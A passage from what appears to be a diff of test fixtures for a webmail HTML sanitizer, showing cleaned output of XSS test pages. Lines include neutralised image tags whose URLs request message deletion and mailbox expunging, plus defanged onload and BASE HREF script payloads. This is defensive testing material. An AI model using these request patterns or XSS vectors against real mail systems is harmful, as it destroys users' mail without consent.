mp;indices%5B%5D=562&amp;indices%5B%5D=563&amp;indices%5B%5D=564&amp;indices%5B%5D=565&amp;indices%5B%5D=566&amp;indices%5B%5D=567&amp;indices%5B%5D=568&amp;indices%5B%5D=569&amp;indices%5B%5D=570&amp;indices%5B%5D=571&amp;indices%5B%5D=572&amp;indices%5B%5D=573&amp;indices%5B%5D=574&amp;indices%5B%5D=575&amp;indices%5B%5D=576&amp;indices%5B%5D=577&amp;indices%5B%5D=578&amp;indices%5B%5D=579&amp;indices%5B%5D=580&amp;indices%5B%5D=581&amp;indices%5B%5D=582&amp;indices%5B%5D=583&amp;indices%5B%5D=584&amp;indices%5B%5D=585&amp;indices%5B%5D=586&amp;indices%5B%5D=587&amp;indices%5B%5D=588&amp;indices%5B%5D=589&amp;indices%5B%5D=590&amp;indices%5B%5D=591&amp;indices%5B%5D=592&amp;indices%5B%5D=593&amp;indices%5B%5D=594&amp;indices%5B%5D=595&amp;indices%5B%5D=596&amp;indices%5B%5D=597&amp;indices%5B%5D=598">
+<XSSCleaned_tag src="mailbox.php?page=1&amp;actionID=delete_messages&amp;targetMbox=&amp;newMbox=0&amp;flag=&amp;indices%5B%5D=599&amp;indices%5B%5D=600&amp;indices%5B%5D=601&amp;indices%5B%5D=602&amp;indices%5B%5D=603&amp;indices%5B%5D=604&amp;indices%5B%5D=605&amp;indices%5B%5D=606&amp;indices%5B%5D=607&amp;indices%5B%5D=608&amp;indices%5B%5D=609&amp;indices%5B%5D=610&amp;indices%5B%5D=611&amp;indices%5B%5D=612&amp;indices%5B%5D=613&amp;indices%5B%5D=614&amp;indices%5B%5D=615&amp;indices%5B%5D=616&amp;indices%5B%5D=617&amp;indices%5B%5D=618&amp;indices%5B%5D=619&amp;indices%5B%5D=620&amp;indices%5B%5D=621&amp;indices%5B%5D=622&amp;indices%5B%5D=623&amp;indices%5B%5D=624&amp;indices%5B%5D=625&amp;indices%5B%5D=626&amp;indices%5B%5D=627&amp;indices%5B%5D=628&amp;indices%5B%5D=629&amp;indices%5B%5D=630&amp;indices%5B%5D=631&amp;indices%5B%5D=632&amp;indices%5B%5D=633&amp;indices%5B%5D=634&amp;indices%5B%5D=635&amp;indices%5B%5D=636&amp;indices%5B%5D=637&amp;indices%5B%5D=638&amp;indices%5B%5D=639&amp;indices%5B%5D=640&amp;indices%5B%5D=641&amp;indices%5B%5D=642&amp;indices%5B%5D=643&amp;indices%5B%5D=644&amp;indices%5B%5D=645&amp;indices%5B%5D=646&amp;indices%5B%5D=647&amp;indices%5B%5D=648&amp;indices%5B%5D=649&amp;indices%5B%5D=650&amp;indices%5B%5D=651&amp;indices%5B%5D=652&amp;indices%5B%5D=653&amp;indices%5B%5D=654&amp;indices%5B%5D=655&amp;indices%5B%5D=656&amp;indices%5B%5D=657&amp;indices%5B%5D=658&amp;indices%5B%5D=659&amp;indices%5B%5D=660&amp;indices%5B%5D=661&amp;indices%5B%5D=662&amp;indices%5B%5D=663&amp;indices%5B%5D=664&amp;indices%5B%5D=665&amp;indices%5B%5D=666&amp;indices%5B%5D=667&amp;indices%5B%5D=668&amp;indices%5B%5D=669&amp;indices%5B%5D=670&amp;indices%5B%5D=671&amp;indices%5B%5D=672&amp;indices%5B%5D=673&amp;indices%5B%5D=674&amp;indices%5B%5D=675&amp;indices%5B%5D=676&amp;indices%5B%5D=677&amp;indices%5B%5D=678&amp;indices%5B%5D=679&amp;indices%5B%5D=680&amp;indices%5B%5D=681&amp;indices%5B%5D=682&amp;indices%5B%5D=683&amp;indices%5B%5D=684&amp;indices%5B%5D=685&amp;indices%5B%5D=686&amp;indices%5B%5D=687&amp;indices%5B%5D=688&amp;indices%5B%5D=689&amp;indices%5B%5D=690&amp;indices%5B%5D=691&amp;indices%5B%5D=692&amp;indices%5B%5D=693&amp;indices%5B%5D=694&amp;indices%5B%5D=695&amp;indices%5B%5D=696&amp;indices%5B%5D=697&amp;indices%5B%5D=698">
+<XSSCleaned_tag src="mailbox.php?page=1&amp;actionID=expunge_mailbox">
+<XSSCleaned_tag src="mailbox.php?page=1&amp;actionID=expunge_mailbox">
+<XSSCleaned_tag src="mailbox.php?page=1&amp;actionID=expunge_mailbox">
+<XSSCleaned_tag src="mailbox.php?page=1&amp;actionID=expunge_mailbox">
+<XSSCleaned_tag src="http://secunia.com/">
+</XSSCleaned_tagset>
+xss99.html
+<img src=""> <BODY ONLOADXSSCleaned="a();"><XSSCleaned_script /><"" />
+style_xss01.html
+<BASE HREF="XSSCleanedalert('XSS');//">